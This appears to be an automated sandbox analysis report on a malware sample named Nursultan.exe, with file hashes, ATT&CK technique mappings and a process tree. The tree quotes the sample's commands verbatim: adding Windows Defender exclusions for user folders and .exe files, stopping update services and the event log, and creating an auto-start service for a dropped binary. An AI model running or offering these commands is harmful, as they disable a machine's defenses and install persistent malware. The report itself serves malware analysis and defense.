abba089518b1b76508c86b53193da43af7b3f3082c44289d7a29f9c1899fc100

Analysis

user interaction
yes
max time kernel
30s
max time network
36s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-uk
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-uklocale:uk-uaos:windows11-ltsc_2024-x64systemwindows
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08/09/2026, 12:26

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Reason

Machine shutdown

General

Target
Nursultan.exe
Size 2.9MB
Sample260908-pmlleazfrd
SHA256 abba089518b1b76508c86b53193da43af7b3f3082c44289d7a29f9c1899fc100
MD5 38f5d373e29e592c1847a44312e1a3c2
SHA1 b5def9b36f6ae0335be233d732a244d4df9f4148
SHA512 e7c63afb2f4656dbae32ee4232c6affab89d29273a365e256b6f2bfe1f5d5c73c986bbbf23aea938a0cdd72c8e21ccfcc5018b70bbf1f4453c62474f1863f4c4
SSDEEP 49152:FMyE/HE3Ma/0s2er5sHPg6EZ0ChjGQRZaHHRQRBcknlpSyhLDVHo6yll:FMhkca/0s2TtEjNRZamRBcOzvVI6
TLSH
T16BD5239832DAFCE9D4268FF2070D9670662B6F64CFE4D49701847312ED706FB6924BA4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4716	powershell.exe
1548	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2784	powercfg.exe
2828	powercfg.exe
264	powercfg.exe
4280	powercfg.exe
1712	powercfg.exe
3024	powercfg.exe
2892	powercfg.exe
3028	powercfg.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3016	sc.exe
1736	sc.exe
2288	sc.exe
1624	sc.exe
5428	sc.exe
1380	sc.exe
1792	sc.exe
4732	sc.exe
2844	sc.exe
5680	sc.exe
5520	sc.exe
4896	sc.exe
5464	sc.exe
2528	sc.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5012	cmd.exe
5352	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
532	Nursultan.exe
4716	powershell.exe
4716	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4716	powershell.exe

C:\Users\Admin\AppData\Local\Temp\Nursultan.exe
"C:\Users\Admin\AppData\Local\Temp\Nursultan.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:532
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Executes a command shell one-liner
  PID:5012
- - C:\Windows\System32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:4372
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4896
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2528
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5520
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:5680
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1736
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:1712
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:4280
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:2828
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:264
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:1660
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "GALHCEMF"
  2⤵
  - Launches sc.exe
  PID:1792
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "GALHCEMF" binpath= "C:\ProgramData\mgyvooqootmn\lfxmhkkppfzj.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:2844
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:4732
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "GALHCEMF"
  2⤵
  - Launches sc.exe
  PID:3016

C:\ProgramData\mgyvooqootmn\lfxmhkkppfzj.exe
C:\ProgramData\mgyvooqootmn\lfxmhkkppfzj.exe
1⤵
PID:1588
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Executes a command shell one-liner
  PID:5352
- - C:\Windows\System32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1864
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2288
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1624
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5464
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:5428
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1380
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:3024
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:2892
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:3028
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:2784
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:1212
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:5168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

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lfxmhkkppfzj.exe

Path C:\ProgramData\mgyvooqootmn\lfxmhkkppfzj.exe
Size 2.9MB
SHA256 abba089518b1b76508c86b53193da43af7b3f3082c44289d7a29f9c1899fc100
MD5 38f5d373e29e592c1847a44312e1a3c2
SHA1 b5def9b36f6ae0335be233d732a244d4df9f4148
SHA512 e7c63afb2f4656dbae32ee4232c6affab89d29273a365e256b6f2bfe1f5d5c73c986bbbf23aea938a0cdd72c8e21ccfcc5018b70bbf1f4453c62474f1863f4c4
SSDEEP 49152:FMyE/HE3Ma/0s2er5sHPg6EZ0ChjGQRZaHHRQRBcknlpSyhLDVHo6yll:FMhkca/0s2TtEjNRZamRBcOzvVI6
TLSH
T16BD5239832DAFCE9D4268FF2070D9670662B6F64CFE4D49701847312ED706FB6924BA4
MD5 SHA1 SHA512 SSDEEP TLSH

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__PSScriptPolicyTest_qnw0moju.thw.ps1

Path C:\Windows\SystemTemp\__PSScriptPolicyTest_qnw0moju.thw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
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memory/1548-39-0x00000180B4670000-0x00000180B4722000-memory.dmp

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memory/1660-30-0x0000000140000000-0x000000014002B000-memory.dmp

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memory/1660-27-0x0000000140000000-0x000000014002B000-memory.dmp

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MITRE ATT&CK Enterprise v16

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